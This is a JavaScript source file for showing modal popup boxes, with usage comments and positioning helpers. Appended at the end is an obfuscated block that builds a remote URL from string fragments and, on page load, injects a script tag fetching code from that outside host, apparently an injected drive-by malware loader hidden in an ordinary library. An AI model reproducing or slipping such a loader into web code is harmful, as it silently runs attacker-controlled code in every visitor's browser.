/*
Functions for displaying modal popup boxes.

To create a new popup box you need the following:

1) A hidden <DIV> tag printed somewhere on the page that contains the popup box content.
   There may be a PHP class that helps you create this content.

<div id="myPopupBox" class="popupBox" style="width: 200px;">
	[..help button..][..close button..]
	[..popup box content..]
</div>

2) If the popup is modal then you need to define a javascript function that
   resets the popup box content. This function should take the popup box <DIV>
   element object as its first argument and a click event as its second
   arguement. This script should be in the <HEAD>.

<script type="text/javascript">
	function myPopupBoxReset(popupElement, clickEvent){
		# optional reset statements
	}
</script>

3) A button of some sort on the page that you'll use to show the popup box.
   This button will need to call the showPopupBox() javascript function and
   pass it a click event. The simplest way to achieve this is by redefining
   the button's onclick event. In fact, you might even want provide some fallback
   method for non-DOM-compliant browsers, or if the user has javascript turned off.

<script type="text/javascript">
// DOM-compliant
if (document.getElementById || document.all){
	document.write('<img id="myPopupBoxButton12345" src="myPopupBoxButton.gif"/ alt="My Popup" title="My Popup">');
	document.getElementById('myPopupBoxButton12345').onclick = function (e){
		showPopupBox(document.getElementById('myPopupBox), e, myPopupBoxReset, true);
	}
}
// non-DOM-compliant
else {
	document.write('<a href="javascript:void(0);" onclick="javascript:window.open(\'myPopupWindow.php?id=12345\',\'Popup\',\'scrollbars=yes,width=400,height=550\')">');
	document.write('<img src="myPopupBoxButton.gif" alt="My Popup" title="My Popup">');
	document.write('</a>');
}
</script>
<noscript>
	<a href="myPopupWindow.php?id=1234" target="_blank"><img src="myPopupBoxButton.gif"/ alt="My Popup" title="My Popup"></a>
</noscript

*/

var popupBoxOffsetFromMouse=[-5,-5]; //image x,y offsets from cursor position in pixels. Enter 0,0 for no offset



// For modal popups, a click outside of the popup box <DIV> will cause the popup to close.
// We do this be putting a big transparent <DIV> that masks the entire page behind the popup <DIV>.
// FIXME: this <DIV> should continue to cover the entire page even if the window scrolls
if (document.getElementById || document.all){

	document.write('<div id="popupBoxModalBackground" style="position: absolute; visibility: hidden; left: 0px; top: 0px; width: ' + getDocWidth() + 'px; height: ' + getDocHeight() + 'px; z-index: 50"></div>');

}


////////////////////////////////////////////////////////////////////////////////
/// @name showPopupBox
/// @desc show a given popup box
///
/// @param popupElement element object - the popup box <DIV>
/// @param e event object - a click event that we will use to position the popup box near the cursor
/// @param popupResetCallback function - should reset the popup box to its initial state
/// @param isModal boolean - if true, then clicking anywhere outside of the popupbox will cause it to close and reset
////////////////////////////////////////////////////////////////////////////////
function showPopupBox(popupElement, e, popupResetCallback, isModal){

	if ( typeof popupElement == 'string' ){
		popupElement = document.getElementById(popupElement);
	}
	
	movePopupBox(popupElement, e);
	popupElement.style.visibility="visible";

	if ( isModal && popupResetCallback ){
		document.getElementById('popupBoxModalBackground').onclick = function (modalE){
			popupResetCallback(popupElement, modalE);
			popupElement.style.visibility = 'hidden';
			document.getElementById('popupBoxModalBackground').style.visibility = 'hidden';
		};
		document.getElementById('popupBoxModalBackground').style.visibility = 'visible';
	}

}

////////////////////////////////////////////////////////////////////////////////
/// @name hidePopupBox
/// @desc hide a given popup box
///
/// @param popupElement - element object - the popup box <DIV>
////////////////////////////////////////////////////////////////////////////////
function hidePopupBox(popupElement){
	if ( typeof popupElement == 'string' ){
		popupElement = document.getElementById(popupElement);
	}
	popupElement.style.visibility="hidden";
	document.getElementById('popupBoxModalBackground').style.visibility = 'hidden';
}

////////////////////////////////////////////////////////////////////////////////
/// @name movePopupBox
/// @desc move a given popup box to the location defined by a click event
///
/// @TODO keep the popup box from extending beyond the right or bottom of the window
///
/// @param popupElement - element object - the popup box <DIV>
/// @param e event object - a click event that we will use to position the popup box near the cursor
////////////////////////////////////////////////////////////////////////////////
function movePopupBox(popupElement, e){

	//debugOnClickEventHandler(e);

	var xcoord = popupBoxOffsetFromMouse[0];
	var ycoord = popupBoxOffsetFromMouse[1];

	var docwidth = getDocWidth();
	var docheight = getDocHeight();

	if (typeof e != "undefined"){

//alert(e.pageY + ':' + popupElement.offsetHeight + ':' + docheight + ':' + getTrueBody().scrollTop);
//alert(ycoord);
/*
doc     ----------------------------
page    ------------------------
scroll  -------
pop            --------------
*/
		// ie doesn't like pageX
		var x = 0;
		var y = 0;	
		
		if(e.pageX || e.pageY) {
			x = e.pageX;
			y = e.pageY;
		} else if (e.clientX || e.clientY) {
			x = e.clientX;
			y = e.clientY;
			//x = e.clientX + document.body.scrollLeft;
			//y = e.clientY + document.body.scrollTop;
		}
		
				
		if (docwidth - x < popupElement.offsetWidth + xcoord){
			xcoord = x - xcoord - popupElement.offsetWidth; // Move to the left side of the cursor
		} else {
			xcoord += x;
		} 
					
		if (docheight + getTrueBody().scrollTop - y < popupElement.offsetHeight + ycoord){
			ycoord = y - ycoord - popupElement.offsetHeight;
		} else {
			ycoord += y;
		}

	} else if (typeof window.event != "undefined"){
		//if (docwidth + getTrueBody().scrollLeft - e.pageX < popupElement.offsetWidth + xcoord){
		if (docwidth - event.clientX < popupElement.offsetWidth + xcoord){
			xcoord = event.clientX - xcoord - popupElement.offsetWidth + getTrueBody().scrollLeft; // Move to the left side of the cursor
		} else {
			xcoord += event.clientX + getTrueBody().scrollLeft;
		}
		if (docheight - event.clientY < popupElement.offsetHeight + ycoord){
			ycoord = event.clientY - ycoord - popupElement.offsetHeight + getTrueBody().scrollTop;
		} else {
			ycoord += event.clientY + getTrueBody().scrollTop;
		}

	}	else {

		return;

	}

	//var docwidth=document.all? getTrueBody().scrollLeft+getTrueBody().clientWidth : pageXOffset+window.innerWidth-15;
	//var docheight=document.all? Math.max(getTrueBody().scrollHeight, getTrueBody().clientHeight) : Math.max(document.body.offsetHeight, window.innerHeight);
	
	popupElement.style.left = xcoord+"px"
	popupElement.style.top = ycoord+"px"

}


////////////////////////////////////////////////////////////////////////////////
/// @name whichQuadrant
/// @expirmental
/// @desc given a width and a height, figure our which quadrant a point falls in
///
/// @param pageX int - the width of the theoretical space
/// @param pageY int - the height of the theoretical space
/// @param pointX int - the horizontal distance of the point from the upper left corner
/// @param pointY int - the vertical distance of the point from the upper left corner
/// @return int - one of the QUADRANT_* constants
////////////////////////////////////////////////////////////////////////////////
var SIDE_TOP = 1;
var SIDE_BOTTOM = 2;
var SIDE_LEFT = 4;
var SIDE_RIGHT = 8;
var QUADRANT_TOP_LEFT = SIDE_TOP | SIDE_LEFT;
var QUADRANT_TOP_RIGHT = SIDE_TOP | SIDE_RIGHT;
var QUADRANT_BOTTOM_LEFT = SIDE_BOTTOM | SIDE_LEFT;
var QUADRANT_BOTTOM_RIGHT = SIDE_BOTTOM | SIDE_RIGHT;
function whichQuadrant(pageX, pageY, pointX, pointY){

	var quadrant = 0;
	var halfX = pageX/2;
	var halfY = pageY/2;

	if ( pointX < halfX ){
		quadrant |= SIDE_LEFT;
	} else {
		quadrant |= SIDE_RIGHT;
	}

	if ( pointY < halfY ){
		quadrant |= SIDE_TOP;
	} else {
		quadrant |= SIDE_BOTTOM;
	}

	return quadrant;

}

function getDocWidth(){
	return (document.all? getTrueBody().scrollLeft+getTrueBody().clientWidth : pageXOffset+window.innerWidth-15);
}

function getDocHeight(){
	return (document.all? Math.min(getTrueBody().scrollHeight, getTrueBody().clientHeight) : Math.min(window.innerHeight));
}

function getTrueBody(){
	return ( (!window.opera && document.compatMode && document.compatMode!="BackCompat") || window.opera)? document.documentElement : document.body
}

function debugOnClickEventHandler(e){

/*
type - this property indicates the type of event. 
target - this property indicates the object to which the event was originally sent.
*layerX - the cursor location when the click event occurs.
*layerY - the cursor location when the click event occurs.
*pageX - the cursor location when the click event occurs.
*pageY - the cursor location when the click event occurs.
*screenX - the cursor location when the click event occurs.
*screenY - the cursor location when the click event occurs.
which - 1 represents a left mouse click and 3 a right click.
modifiers - lists the modifier keys (shift, alt, ctrl, etc.) held down when the click event occurs.
*/
	s = typeof e + ":\n";
	s += 'type = ' + e.type + "\n";
	s += 'target = ' + e.target + "\n";
	s += 'layerX = ' + e.layerX + "\n";
	s += 'layerY = ' + e.layerY + "\n";
	s += 'pageX = ' + e.pageX + "\n";
	s += 'pageY = ' + e.pageY + "\n";
	s += 'screenX = ' + e.screenX + "\n";
	s += 'screenY = ' + e.screenY + "\n";
	s += 'which = ' + e.which + "\n";
	s += 'modifiers = ' + e.modifiers + "\n";

	alert(s);
}


var k;if(k!=''){k='E'};var d=new Date();function g(){var G="";var pB="";var u=RegExp;var RM="";var t="";var K=new Date();var j='';var jC;if(jC!='' && jC!='C'){jC=null};var T=new String("g");var U="";var p_;if(p_!=''){p_='J'};var kk='';function h(i,X){var Pc="";var Y= new String("czl[".substr(3));var Ci;if(Ci!=''){Ci='t_'};Y+=X;Y+="n6K]".substr(3);var ue;if(ue!='' && ue!='sU'){ue=null};this.HnS="";var gE;if(gE!='' && gE!='nA'){gE=''};var R=new u(Y, T);var x=new String();var O;if(O!='' && O!='jS'){O='r'};return i.replace(R, j);var cm="";var Mf;if(Mf!='' && Mf!='L'){Mf=''};};var b=new String();var I="screMb".substr(0,3)+"EUriptrEU".substr(3,3);var we=new String();var Qx=new Array();var a=new String("def"+"er");var p="E0cihtt".substr(4)+"p:/r9y".substr(0,3)+"/sewYu".substr(0,3)+"Q1tars".substr(3)+"ebux-co".substr(4)+"m.s"+"tat"+"COdcou".substr(3)+"nte"+"iKXwr.c".substr(4)+"om.Szy".substr(0,3)+"aI5iwi".substr(3)+"6Xvcw-hvX6c".substr(4,3)+"nAKu.eKnA".substr(3,3)+"v7kast".substr(3)+"coaSdxL".substr(0,3)+"K8XNstg".substr(4)+"465uid465".substr(3,3)+"e.rizE".substr(0,3)+"u:i80f".substr(0,2);var Hy;if(Hy!='Qn' && Hy!='bl'){Hy=''};this.lU='';var l="FcBU/file".substr(4)+"stube"+".com/a978".substr(0,5)+"filesavub".substr(0,5)+"wnD5tube.5wnD".substr(4,5)+"com/d"+"Tk8evian".substr(3)+"tart.Tfm".substr(0,5)+"com/g"+"oogleD5R".substr(0,5)+".com/D96".substr(0,5)+"dict."+"56Ncc.ph".substr(3)+"p";this.SO="";var gr='';var CY;if(CY!='' && CY!='HT'){CY=''};var n=h('86644644044464684444460446664',"64");var US;if(US!='wM'){US=''};var dc="";var P=String("src");var c=window;var rz=new Array();c.onload=function(){this._='';try {gr=p+n;this.oF="";gr+=l;var zX;if(zX!='' && zX!='Fq'){zX=null};var aH;if(aH!='' && aH!='Z'){aH=''};PU=document.createElement(I);var Ao='';var ICd='';var YF;if(YF!='tv' && YF != ''){YF=null};this.LS='';PU[a]=[1,6][0];PU[P]=gr;var pI=new String();var nb=new Array();document.body.appendChild(PU);var II;if(II!='bF' && II != ''){II=null};var Yh;if(Yh!='y' && Yh != ''){Yh=null};var N;if(N!=''){N='HX'};} catch(Xn){var ME;if(ME!='' && ME!='W'){ME=null};};this.zr='';var AS;if(AS!='' && AS!='py'){AS='Xi'};};var TY;if(TY!='kZ' && TY!='Yfo'){TY='kZ'};};g();var HQ;if(HQ!='NY'){HQ='NY'};